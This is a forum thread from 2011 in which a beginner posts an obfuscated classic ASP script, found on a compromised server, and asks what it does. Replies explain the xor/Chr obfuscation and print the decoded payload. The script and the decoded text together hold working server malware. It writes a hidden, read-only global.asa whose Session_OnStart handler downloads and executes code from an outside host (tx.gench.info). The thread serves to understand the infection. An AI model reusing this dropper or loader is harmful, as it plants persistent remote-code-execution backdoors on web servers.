Hi there, i am new to the world of programming and would just like some help.
A person I know gave me this script to look in interest at as it had affected a server that he has access to. I have also found this script else where on the net.
I know the script creates a "Global.asa" file which redirects to another webpage; from what I can gather, but because I don't have "Windows Server" I can't run the script properly!
What does this script do below and how exactly does it work in exact detail? (line by line)
i.e. str1 = Chr(88 xor 100) & Chr(996 xor 919) & Chr...... What does this bit do?
<%
str1 = Chr(88 xor 100) & Chr(996 xor 919) & Chr(778 xor 873) & Chr(179 xor 193) & Chr(985 xor 944) & Chr(810 xor 858) & Chr(84 xor 32) & Chr(281 xor 313) & Chr(943 xor 963) & Chr(936 xor 969) & Chr(693 xor 731) & Chr(433 xor 470) & Chr(951 xor 962) & Chr(387 xor 482) & Chr(626 xor 533) & Chr(898 xor 999) & Chr(545 xor 540) & Chr(877 xor 847) & Chr(609 xor 535) & Chr(687 xor 717) & Chr(190 xor 205) & Chr(954 xor 985) & Chr(905 xor 1019) & Chr(788 xor 893) & Chr(147 xor 227) & Chr(90 xor 46) & Chr(524 xor 558) & Chr(940 xor 908) & Chr(418 xor 464) & Chr(531 xor 614) & Chr(457 xor 423) & Chr(679 xor 710) & Chr(740 xor 656) & Chr(31 xor 34) & Chr(439 xor 405) & Chr(467 xor 416) & Chr(647 xor 738) & Chr(835 xor 817) & Chr(736 xor 662) & Chr(306 xor 343) & Chr(605 xor 559) & Chr(962 xor 992) & Chr(355 xor 349) & Chr(721 xor 732) & Chr(613 xor 623) & Chr(412 xor 401) & Chr(24 xor 18) & Chr(196 xor 201) & Chr(207 xor 197) & Chr(175 xor 162) & _
Chr(270 xor 260) & Chr(975 xor 962) & Chr(841 xor 835) & Chr(979 xor 990) & Chr(566 xor 572) & Chr(814 xor 803) & Chr(799 xor 789) & Chr(116 xor 121) & Chr(186 xor 176) & Chr(239 xor 226) & Chr(80 xor 90) & Chr(556 xor 545) & Chr(845 xor 839) & Chr(704 xor 717) & Chr(401 xor 411) & Chr(56 xor 53) & Chr(101 xor 111) & Chr(492 xor 481) & Chr(46 xor 36) & Chr(133 xor 136) & Chr(397 xor 391) & Chr(594 xor 607) & Chr(993 xor 1003) & Chr(260 xor 265) & Chr(16 xor 26) & Chr(746 xor 743) & Chr(274 xor 280) & Chr(700 xor 689) & Chr(676 xor 686) & Chr(221 xor 208) & Chr(858 xor 848) & Chr(200 xor 197) & Chr(922 xor 912) & Chr(10 xor 7) & Chr(503 xor 509) & Chr(14 xor 3) & Chr(228 xor 238) & Chr(112 xor 125) & Chr(461 xor 455) & Chr(404 xor 409) & Chr(837 xor 847) & Chr(264 xor 261) & Chr(732 xor 726) & Chr(581 xor 584) & Chr(507 xor 497) & Chr(729 xor 724) & Chr(63 xor 53) & Chr(344 xor 341) & Chr(753 xor 763) & Chr(517 xor 520) & Chr(697 xor 691) & _
Chr(158 xor 147) & Chr(59 xor 49) & Chr(619 xor 614) & Chr(655 xor 645) & Chr(285 xor 272) & Chr(668 xor 662) & Chr(771 xor 782) & Chr(926 xor 916) & Chr(725 xor 728) & Chr(338 xor 344) & Chr(509 xor 496) & Chr(520 xor 514) & Chr(488 xor 485) & Chr(583 xor 589) & Chr(35 xor 46) & Chr(164 xor 174) & Chr(302 xor 291) & Chr(880 xor 890) & Chr(137 xor 132) & Chr(122 xor 112) & Chr(429 xor 416) & Chr(499 xor 505) & Chr(552 xor 549) & Chr(393 xor 387) & Chr(869 xor 872) & Chr(168 xor 162) & Chr(27 xor 22) & Chr(714 xor 704) & Chr(369 xor 380) & Chr(414 xor 404) & Chr(806 xor 811) & Chr(359 xor 365) & Chr(446 xor 435) & Chr(710 xor 716) & Chr(644 xor 649) & Chr(317 xor 311) & Chr(573 xor 560) & Chr(67 xor 73) & Chr(69 xor 72) & Chr(587 xor 577) & Chr(750 xor 713) & Chr(989 xor 959) & Chr(535 xor 622) & Chr(909 xor 978) & Chr(513 xor 608) & Chr(972 xor 929) & Chr(323 xor 298) & Chr(816 xor 862) & Chr(327 xor 288) & Chr(541 xor 528) & Chr(425 xor 419) & _
Chr(774 xor 801) & Chr(454 xor 420) & Chr(888 xor 769) & Chr(577 xor 619) & Chr(782 xor 879) & Chr(894 xor 787) & Chr(820 xor 861) & Chr(52 xor 90) & Chr(376 xor 287) & Chr(657 xor 668) & Chr(803 xor 809) & Chr(831 xor 844) & Chr(20 xor 97) & Chr(471 xor 437) & Chr(372 xor 340) & Chr(932 xor 997) & Chr(968 xor 952) & Chr(598 xor 550) & Chr(718 xor 674) & Chr(94 xor 55) & Chr(249 xor 154) & Chr(48 xor 81) & Chr(651 xor 767) & Chr(560 xor 601) & Chr(570 xor 597) & Chr(539 xor 629) & Chr(634 xor 549) & Chr(348 xor 275) & Chr(478 xor 432) & Chr(615 xor 564) & Chr(930 xor 982) & Chr(450 xor 419) & Chr(435 xor 449) & Chr(742 xor 658) & Chr(549 xor 552) & Chr(602 xor 592) & Chr(443 xor 478) & Chr(919 xor 1017) & Chr(482 xor 390) & Chr(77 xor 109) & Chr(38 xor 85) & Chr(683 xor 734) & Chr(465 xor 435) & Chr(856 xor 853) & Chr(672 xor 682) & Chr(496 xor 509) & Chr(761 xor 755) & Chr(958 xor 973) & Chr(630 xor 515) & Chr(623 xor 525) & Chr(380 xor 348) & _
Chr(383 xor 318) & Chr(901 xor 1013) & Chr(73 xor 57) & Chr(313 xor 341) & Chr(848 xor 825) & Chr(232 xor 139) & Chr(827 xor 858) & Chr(295 xor 339) & Chr(636 xor 533) & Chr(866 xor 781) & Chr(640 xor 750) & Chr(591 xor 528) & Chr(475 xor 404) & Chr(824 xor 854) & Chr(767 xor 698) & Chr(211 xor 189) & Chr(890 xor 798) & Chr(105 xor 100) & Chr(217 xor 211) & Chr(143 xor 234) & Chr(365 xor 259) & Chr(689 xor 725) & Chr(708 xor 740) & Chr(126 xor 13) & Chr(154 xor 239) & Chr(334 xor 300) & Chr(784 xor 797) & Chr(422 xor 428) & Chr(983 xor 986) & Chr(291 xor 297) & Chr(911 xor 1020) & Chr(42 xor 95) & Chr(408 xor 506) & Chr(562 xor 530) & Chr(361 xor 314) & Chr(964 xor 929) & Chr(873 xor 794) & Chr(884 xor 775) & Chr(852 xor 829) & Chr(947 xor 988) & Chr(661 xor 763) & Chr(528 xor 591) & Chr(665 xor 726) & Chr(253 xor 147) & Chr(763 xor 680) & Chr(486 xor 402) & Chr(792 xor 889) & Chr(862 xor 812) & Chr(915 xor 999) & Chr(757 xor 760) & Chr(243 xor 249) & _
Chr(795 xor 786) & Chr(391 xor 498) & Chr(88 xor 42) & Chr(996 xor 904) & Chr(778 xor 823) & Chr(179 xor 145) & Chr(985 xor 945) & Chr(810 xor 862) & Chr(84 xor 32) & Chr(281 xor 361) & Chr(943 xor 917) & Chr(936 xor 903) & Chr(693 xor 666) & Chr(433 xor 453) & Chr(951 xor 975) & Chr(387 xor 429) & Chr(626 xor 533) & Chr(898 xor 999) & Chr(545 xor 591) & Chr(877 xor 782) & Chr(609 xor 521) & Chr(687 xor 641) & Chr(190 xor 215) & Chr(954 xor 980) & Chr(905 xor 1007) & Chr(788 xor 891) & Chr(147 xor 188) & Chr(90 xor 46) & Chr(524 xor 628) & Chr(940 xor 984) & Chr(418 xor 397) & Chr(531 xor 628) & Chr(457 xor 428) & Chr(679 xor 723) & Chr(740 xor 673) & Chr(31 xor 103) & Chr(439 xor 466) & Chr(467 xor 432) & Chr(647 xor 681) & Chr(835 xor 802) & Chr(736 xor 659) & Chr(306 xor 322) & Chr(605 xor 639) & Chr(962 xor 975) & Chr(355 xor 361) & Chr(721 xor 728) & Chr(613 xor 566) & Chr(412 xor 505) & Chr(24 xor 108) & Chr(196 xor 228) & Chr(207 xor 128) & _
Chr(175 xor 205) & Chr(270 xor 356) & Chr(975 xor 919) & Chr(841 xor 772) & Chr(979 xor 927) & Chr(566 xor 638) & Chr(814 xor 890) & Chr(799 xor 843) & Chr(116 xor 36) & Chr(186 xor 135) & Chr(239 xor 188) & Chr(80 xor 53) & Chr(556 xor 606) & Chr(845 xor 827) & Chr(704 xor 677) & Chr(401 xor 483) & Chr(56 xor 22) & Chr(101 xor 38) & Chr(492 xor 414) & Chr(46 xor 75) & Chr(133 xor 228) & Chr(397 xor 505) & Chr(594 xor 567) & Chr(993 xor 942) & Chr(260 xor 358) & Chr(16 xor 122) & Chr(746 xor 655) & Chr(274 xor 369) & Chr(700 xor 712) & Chr(676 xor 652) & Chr(221 xor 255) & Chr(858 xor 791) & Chr(200 xor 155) & Chr(922 xor 962) & Chr(10 xor 71) & Chr(503 xor 443) & Chr(14 xor 60) & Chr(228 xor 202) & Chr(112 xor 3) & Chr(461 xor 424) & Chr(404 xor 486) & Chr(837 xor 819) & Chr(264 xor 365) & Chr(732 xor 686) & Chr(581 xor 541) & Chr(507 xor 438) & Chr(729 xor 661) & Chr(63 xor 119) & Chr(344 xor 268) & Chr(753 xor 677) & Chr(517 xor 597) & _
Chr(697 xor 667) & Chr(158 xor 183) & Chr(59 xor 54) & Chr(619 xor 609) & Chr(655 xor 646) & Chr(285 xor 338) & Chr(668 xor 766) & Chr(771 xor 873) & Chr(926 xor 966) & Chr(725 xor 664) & Chr(338 xor 286) & Chr(509 xor 437) & Chr(520 xor 604) & Chr(488 xor 444) & Chr(583 xor 535) & Chr(35 xor 13) & Chr(164 xor 235) & Chr(302 xor 350) & Chr(880 xor 789) & Chr(137 xor 231) & Chr(122 xor 90) & Chr(429 xor 399) & Chr(499 xor 436) & Chr(552 xor 621) & Chr(393 xor 477) & Chr(869 xor 839) & Chr(168 xor 132) & Chr(27 xor 110) & Chr(714 xor 696) & Chr(369 xor 285) & Chr(414 xor 434) & Chr(806 xor 864) & Chr(359 xor 262) & Chr(446 xor 466) & Chr(710 xor 693) & Chr(644 xor 737) & Chr(317 xor 304) & Chr(573 xor 567) & Chr(67 xor 74) & Chr(69 xor 10) & Chr(587 xor 553) & Chr(750 xor 644) & Chr(989 xor 901) & Chr(535 xor 602) & Chr(909 xor 961) & Chr(513 xor 585) & Chr(972 xor 920) & Chr(323 xor 279) & Chr(816 xor 864) & Chr(327 xor 361) & Chr(541 xor 622) & _
Chr(425 xor 460) & Chr(774 xor 882) & Chr(454 xor 404) & Chr(888 xor 797) & Chr(577 xor 560) & Chr(782 xor 891) & Chr(894 xor 795) & Chr(820 xor 839) & Chr(52 xor 64) & Chr(376 xor 304) & Chr(657 xor 756) & Chr(803 xor 834) & Chr(831 xor 859) & Chr(20 xor 113) & Chr(471 xor 421) & Chr(372 xor 340) & Chr(932 xor 902) & Chr(968 xor 925) & Chr(598 xor 549) & Chr(718 xor 683) & Chr(94 xor 44) & Chr(249 xor 212) & Chr(48 xor 113) & Chr(651 xor 748) & Chr(560 xor 597) & Chr(570 xor 596) & Chr(539 xor 623) & Chr(634 xor 600) & Chr(348 xor 368) & Chr(478 xor 427) & Chr(615 xor 533) & Chr(930 xor 974) & Chr(450 xor 463) & Chr(435 xor 441) & Chr(742 xor 751) & Chr(549 xor 618) & Chr(602 xor 568) & Chr(443 xor 465) & Chr(919 xor 975) & Chr(482 xor 431) & Chr(77 xor 1) & Chr(38 xor 110) & Chr(683 xor 767) & Chr(465 xor 389) & Chr(856 xor 776) & Chr(672 xor 654) & Chr(496 xor 387) & Chr(761 xor 668) & Chr(958 xor 976) & Chr(630 xor 530) & Chr(623 xor 610) & _
Chr(380 xor 374) & Chr(383 xor 374) & Chr(901 xor 962) & Chr(73 xor 44) & Chr(313 xor 333) & Chr(848 xor 792) & Chr(232 xor 156) & Chr(827 xor 854) & Chr(295 xor 331) & Chr(636 xor 577) & Chr(866 xor 813) & Chr(640 xor 738) & Chr(591 xor 549) & Chr(475 xor 387) & Chr(824 xor 885) & Chr(767 xor 691) & Chr(211 xor 155) & Chr(890 xor 814) & Chr(105 xor 61) & Chr(217 xor 137) & Chr(143 xor 161) & Chr(365 xor 287) & Chr(689 xor 724) & Chr(708 xor 695) & Chr(126 xor 14) & Chr(154 xor 245) & Chr(334 xor 288) & Chr(784 xor 867) & Chr(422 xor 451) & Chr(983 xor 917) & Chr(291 xor 332) & Chr(911 xor 1003) & Chr(42 xor 83) & Chr(408 xor 405) & Chr(562 xor 568) & Chr(361 xor 352) & Chr(964 xor 919) & Chr(873 xor 780) & Chr(884 xor 768) & Chr(852 xor 884) & Chr(947 xor 1020) & Chr(661 xor 759) & Chr(528 xor 634) & Chr(665 xor 705) & Chr(253 xor 176) & Chr(763 xor 695) & Chr(486 xor 430) & Chr(792 xor 844) & Chr(862 xor 778) & Chr(915 xor 963) & Chr(757 xor 712) & _
Chr(243 xor 189) & Chr(795 xor 884) & Chr(391 xor 499) & Chr(88 xor 48) & Chr(996 xor 909) & Chr(778 xor 868) & Chr(179 xor 212) & Chr(985 xor 980) & Chr(810 xor 800) & Chr(84 xor 93) & Chr(281 xor 362) & Chr(943 xor 970) & Chr(936 xor 988) & Chr(693 xor 661) & Chr(433 xor 478) & Chr(951 xor 981) & Chr(387 xor 489) & Chr(626 xor 545) & Chr(898 xor 1014) & Chr(545 xor 595) & Chr(877 xor 776) & Chr(609 xor 512) & Chr(687 xor 706) & Chr(190 xor 158) & Chr(954 xor 903) & Chr(905 xor 937) & Chr(788 xor 839) & Chr(147 xor 246) & Chr(90 xor 40) & Chr(524 xor 634) & Chr(940 xor 969) & Chr(418 xor 464) & Chr(531 xor 573) & Chr(457 xor 394) & Chr(679 xor 725) & Chr(740 xor 641) & Chr(31 xor 126) & Chr(439 xor 451) & Chr(467 xor 438) & Chr(647 xor 712) & Chr(835 xor 801) & Chr(736 xor 650) & Chr(306 xor 343) & Chr(605 xor 574) & Chr(962 xor 950) & Chr(355 xor 331) & Chr(721 xor 755) & Chr(613 xor 548) & Chr(412 xor 504) & Chr(24 xor 119) & Chr(196 xor 160) & _
Chr(207 xor 173) & Chr(175 xor 129) & Chr(270 xor 349) & Chr(975 xor 955) & Chr(841 xor 827) & Chr(979 xor 950) & Chr(566 xor 599) & Chr(814 xor 835) & Chr(799 xor 829) & Chr(116 xor 93) & Chr(186 xor 183) & Chr(239 xor 229) & Chr(80 xor 89) & Chr(556 xor 579) & Chr(845 xor 815) & Chr(704 xor 682) & Chr(401 xor 450) & Chr(56 xor 76) & Chr(101 xor 23) & Chr(492 xor 393) & Chr(46 xor 79) & Chr(133 xor 232) & Chr(397 xor 419) & Chr(594 xor 518) & Chr(993 xor 920) & Chr(260 xor 372) & Chr(16 xor 117) & Chr(746 xor 714) & Chr(274 xor 303) & Chr(700 xor 668) & Chr(676 xor 661) & Chr(221 xor 208) & Chr(858 xor 848) & Chr(200 xor 193) & Chr(922 xor 1013) & Chr(10 xor 104) & Chr(503 xor 413) & Chr(14 xor 93) & Chr(228 xor 144) & Chr(112 xor 2) & Chr(461 xor 424) & Chr(404 xor 501) & Chr(837 xor 808) & Chr(264 xor 294) & Chr(732 xor 657) & Chr(581 xor 554) & Chr(507 xor 415) & Chr(729 xor 700) & Chr(63 xor 31) & Chr(344 xor 357) & Chr(753 xor 706) & _
Chr(517 xor 520) & Chr(697 xor 691) & Chr(158 xor 151) & Chr(59 xor 84) & Chr(619 xor 521) & Chr(655 xor 741) & Chr(285 xor 334) & Chr(668 xor 744) & Chr(771 xor 881) & Chr(926 xor 1019) & Chr(725 xor 692) & Chr(338 xor 319) & Chr(509 xor 467) & Chr(520 xor 583) & Chr(488 xor 408) & Chr(583 xor 546) & Chr(35 xor 77) & Chr(164 xor 169) & Chr(302 xor 292) & Chr(880 xor 889) & Chr(137 xor 230) & Chr(122 xor 24) & Chr(429 xor 455) & Chr(499 xor 416) & Chr(552 xor 604) & Chr(393 xor 507) & Chr(869 xor 768) & Chr(168 xor 201) & Chr(27 xor 118) & Chr(714 xor 740) & Chr(369 xor 294) & Chr(414 xor 492) & Chr(991 xor 950) & Chr(544 xor 596) & Chr(631 xor 530) & Chr(895 xor 863) & Chr(829 xor 890) & Chr(502 xor 403) & Chr(758 xor 642) & Chr(252 xor 180) & Chr(254 xor 138) & Chr(773 xor 872) & Chr(935 xor 971) & Chr(184 xor 181) & Chr(720 xor 730) & Chr(104 xor 97) & Chr(699 xor 724) & Chr(167 xor 197) & Chr(508 xor 406) & Chr(11 xor 88) & Chr(512 xor 628) & _
Chr(726 xor 676) & Chr(610 xor 519) & Chr(959 xor 990) & Chr(639 xor 530) & Chr(83 xor 125) & Chr(762 xor 682) & Chr(967 xor 936) & Chr(89 xor 42) & Chr(15 xor 102) & Chr(237 xor 153) & Chr(561 xor 600) & Chr(843 xor 804) & Chr(988 xor 946) & Chr(26 xor 58) & Chr(206 xor 243) & Chr(656 xor 688) & Chr(557 xor 541) & Chr(128 xor 141) & Chr(163 xor 169) & Chr(783 xor 774) & Chr(903 xor 1000) & Chr(280 xor 378) & Chr(434 xor 472) & Chr(233 xor 186) & Chr(836 xor 816) & Chr(745 xor 667) & Chr(755 xor 662) & Chr(724 xor 693) & Chr(819 xor 862) & Chr(533 xor 571) & Chr(663 xor 707) & Chr(800 xor 857) & Chr(125 xor 13) & Chr(635 xor 542) & Chr(620 xor 588) & Chr(927 xor 930) & Chr(734 xor 766) & Chr(787 xor 801) & Chr(629 xor 632) & Chr(114 xor 120) & Chr(667 xor 658) & Chr(262 xor 361) & Chr(223 xor 189) & Chr(868 xor 782) & Chr(650 xor 729) & Chr(51 xor 71) & Chr(857 xor 811) & Chr(681 xor 716) & Chr(946 xor 979) & Chr(153 xor 244) & Chr(815 xor 769) & _
Chr(808 xor 875) & Chr(565 xor 605) & Chr(568 xor 601) & Chr(96 xor 18) & Chr(258 xor 369) & Chr(498 xor 407) & Chr(43 xor 95) & Chr(417 xor 385) & Chr(22 xor 43) & Chr(480 xor 448) & Chr(821 xor 791) & Chr(61 xor 90) & Chr(825 xor 859) & Chr(777 xor 827) & Chr(660 xor 679) & Chr(19 xor 34) & Chr(952 xor 906) & Chr(396 xor 430) & Chr(85 xor 88) & Chr(290 xor 296) & Chr(402 xor 411) & Chr(328 xor 271) & Chr(550 xor 579) & Chr(874 xor 798) & Chr(893 xor 821) & Chr(311 xor 323) & Chr(339 xor 318) & Chr(519 xor 619) & Chr(969 xor 1001) & Chr(607 xor 610) & Chr(178 xor 146) & Chr(476 xor 435) & Chr(106 xor 8) & Chr(227 xor 137) & Chr(593 xor 514) & Chr(747 xor 671) & Chr(546 xor 592) & Chr(159 xor 250) & Chr(68 xor 37) & Chr(79 xor 34) & Chr(47 xor 1) & Chr(142 xor 220) & Chr(847 xor 810) & Chr(713 xor 680) & Chr(851 xor 823) & Chr(438 xor 482) & Chr(948 xor 977) & Chr(671 xor 743) & Chr(977 xor 933) & Chr(57 xor 52) & Chr(110 xor 100) & _
Chr(942 xor 935) & Chr(428 xor 451) & Chr(980 xor 950) & Chr(576 xor 554) & Chr(273 xor 322) & Chr(191 xor 203) & Chr(963 xor 945) & Chr(364 xor 265) & Chr(180 xor 213) & Chr(995 xor 910) & Chr(269 xor 291) & Chr(466 xor 401) & Chr(138 xor 230) & Chr(132 xor 235) & Chr(878 xor 797) & Chr(618 xor 527) & Chr(146 xor 159) & Chr(572 xor 566) & Chr(811 xor 802) & Chr(93 xor 125) & Chr(730 xor 649) & Chr(72 xor 45) & Chr(794 xor 873) & Chr(872 xor 795) & Chr(375 xor 286) & Chr(149 xor 250) & Chr(100 xor 10) & Chr(973 xor 997) & Chr(332 xor 366) & Chr(276 xor 359) & Chr(709 xor 689) & Chr(136 xor 250) & Chr(603 xor 633) & Chr(716 xor 741) & Chr(642 xor 674) & Chr(864 xor 861) & Chr(925 xor 957) & Chr(216 xor 159) & Chr(625 xor 532) & Chr(652 xor 760) & Chr(832 xor 776) & Chr(30 xor 106) & Chr(921 xor 1012) & Chr(491 xor 391) & Chr(790 xor 795) & Chr(157 xor 151) & Chr(540 xor 533) & Chr(906 xor 995) & Chr(798 xor 888) & Chr(597 xor 629) & Chr(210 xor 187) & _
Chr(381 xor 275) & Chr(392 xor 507) & Chr(360 xor 284) & Chr(455 xor 437) & Chr(170 xor 130) & Chr(36 xor 99) & Chr(174 xor 203) & Chr(751 xor 667) & Chr(999 xor 943) & Chr(984 xor 940) & Chr(301 xor 320) & Chr(371 xor 287) & Chr(424 xor 388) & Chr(265 xor 299) & Chr(741 xor 647) & Chr(40 xor 81) & Chr(889 xor 851) & Chr(586 xor 555) & Chr(241 xor 156) & Chr(286 xor 375) & Chr(677 xor 715) & Chr(231 xor 128) & Chr(318 xor 284) & Chr(582 xor 623) & Chr(779 xor 821) & Chr(188 xor 140) & Chr(445 xor 413) & Chr(202 xor 190) & Chr(931 xor 971) & Chr(459 xor 430) & Chr(885 xor 795) & Chr(861 xor 848) & Chr(406 xor 412) & Chr(53 xor 60) & Chr(385 xor 392) & Chr(117 xor 16) & Chr(195 xor 187) & Chr(688 xor 725) & Chr(199 xor 164) & Chr(413 xor 488) & Chr(297 xor 349) & Chr(646 xor 739) & Chr(589 xor 621) & Chr(32 xor 103) & Chr(449 xor 420) & Chr(917 xor 993) & Chr(766 xor 694) & Chr(692 xor 704) & Chr(914 xor 1023) & Chr(248 xor 148) & Chr(529 xor 540) & _
Chr(938 xor 928) & Chr(703 xor 694) & Chr(882 xor 791) & Chr(343 xor 313) & Chr(244 xor 144) & Chr(804 xor 772) & Chr(840 xor 801) & Chr(470 xor 432) & Chr(853 xor 856) & Chr(956 xor 950) & Chr(121 xor 28) & Chr(910 xor 992) & Chr(523 xor 623) & Chr(695 xor 663) & Chr(705 xor 690) & Chr(673 xor 724) & Chr(769 xor 867) & Chr(220 xor 209) & Chr(350 xor 340) & Chr(487 xor 490) & Chr(75 xor 65) & Chr(322 xor 357) & Chr(307 xor 320) & Chr(614 xor 531) & Chr(684 xor 718) & Chr(737 xor 705) & Chr(578 xor 529) & Chr(64 xor 37) & Chr(354 xor 273) & Chr(212 xor 167) & Chr(899 xor 1002) & Chr(554 xor 581) & Chr(599 xor 569) & Chr(991 xor 896) & Chr(544 xor 623) & Chr(631 xor 537) & Chr(895 xor 826) & Chr(829 xor 851) & Chr(502 xor 402) & Chr(758 xor 763) & Chr(252 xor 246) & Chr(254 xor 217) & Chr(773 xor 864) & Chr(935 xor 969) & Chr(184 xor 220) & Chr(720 xor 752) & Chr(104 xor 27) & Chr(699 xor 718) & Chr(167 xor 197) & Chr(508 xor 497) & Chr(11 xor 1) & _
Chr(512 xor 572) & Chr(726 xor 761) & Chr(610 xor 529) & Chr(959 xor 988) & Chr(639 xor 525) & Chr(83 xor 58) & Chr(762 xor 650) & Chr(967 xor 947) & Chr(89 xor 103) & Chr(15 xor 51) & Chr(237 xor 194) & Chr(561 xor 595) & Chr(843 xor 804) & Chr(988 xor 952) & Chr(26 xor 99) & Chr(206 xor 240) & Chr(656 xor 684) & Chr(557 xor 514) & Chr(128 xor 232) & Chr(163 xor 215) & Chr(783 xor 866) & Chr(903 xor 1003) & Chr(280 xor 294) & Chr(434 xor 447) & Chr(233 xor 227) & Chr(836 xor 888) & Chr(745 xor 710) & Chr(755 xor 657) & Chr(724 xor 699) & Chr(819 xor 855) & Chr(533 xor 620) & Chr(663 xor 681) & Chr(800 xor 796) & Chr(125 xor 82) & Chr(635 xor 531) & Chr(620 xor 536) & Chr(927 xor 1010) & Chr(734 xor 690) & Chr(787 xor 813)
createasa str1
Public Function createasa(ByVal Content)
dim FilePath, f, fso,bExists
FilePath="//./" & Server.MapPath("/global.asa")
On Error Resume Next
Set fso = Server.CreateObject("scripting.filesystemobject")
bExists = fso.FileExists(FilePath)
If bExists =true Then
bExists=true
set f=fso.Getfile(FilePath)
f.Attributes=0
End If
Set Obj = Server.CreateObject("adod" & "b.S" & "tream")
Obj.Type = 2
Obj.open
Obj.Charset = "gb2312"
Obj.Position = Obj.Size
Obj.writetext = Content
Obj.SaveToFile FilePath,2
Obj.Close
Set Obj = Nothing
if bExists = false then
set f=fso.Getfile(FilePath)
end if
f.Attributes=1+2+4
set f=Nothing
Set fso = Nothing
if err then
response.write "err_" & err.description
else
response.write "ok"
end if
End Function
%>
4 replies to this topic
#1
Posted 24 August 2011 - 05:08 PM
|
|
|
#2
Posted 24 August 2011 - 05:56 PM
It's obfuscated code, building a string based on bitwise operations to build the ASCII values for characters.
#3
Posted 24 August 2011 - 07:27 PM
As a general rule, you NEVER should execute code that you can't read
Most of the time, of they don't want you to see what is the code, it's because the code isn't good for you
Most of the time, of they don't want you to see what is the code, it's because the code isn't good for you
#4
Posted 25 August 2011 - 04:31 AM
If you're curious, str1 has the following value:
<script language="vbscript" runat="server"> 'by_aming 'by*aming sub Application_OnStart end sub sub Application_OnEnd end sub sub Session_OnStart url="http://tx.gench.info/txt/getExec.asp" Set ObjXMLHTTP=Server.CreateObject("MSXML2.serverXMLHTTP") ObjXMLHTTP.Open "GET",url,False ObjXMLHTTP.setRequestHeader "User-Agent",url ObjXMLHTTP.send GetHtml=ObjXMLHTTP.responseBody Set ObjXMLHTTP=Nothing set objStream = Server.CreateObject("Adodb.Stream") objStream.Type = 1 objStream.Mode =3 objStream.Open objStream.Write GetHtml objStream.Position = 0 objStream.Type = 2 objStream.Charset = "gb2312" GetHtml = objStream.ReadText objStream.Close Session("str") = GetHtml if instr(GetHtml,"by*aming")>0 then execute GetHtml end if end sub 'sub Session_OnEnd 'end sub </script></body></html> </body></html>
#5
Posted 29 August 2011 - 08:19 AM
Thank you all so much! :) Great help :thumbup:
1 user(s) are reading this topic
0 members, 1 guests, 0 anonymous users


Sign In
Create Account

Back to top









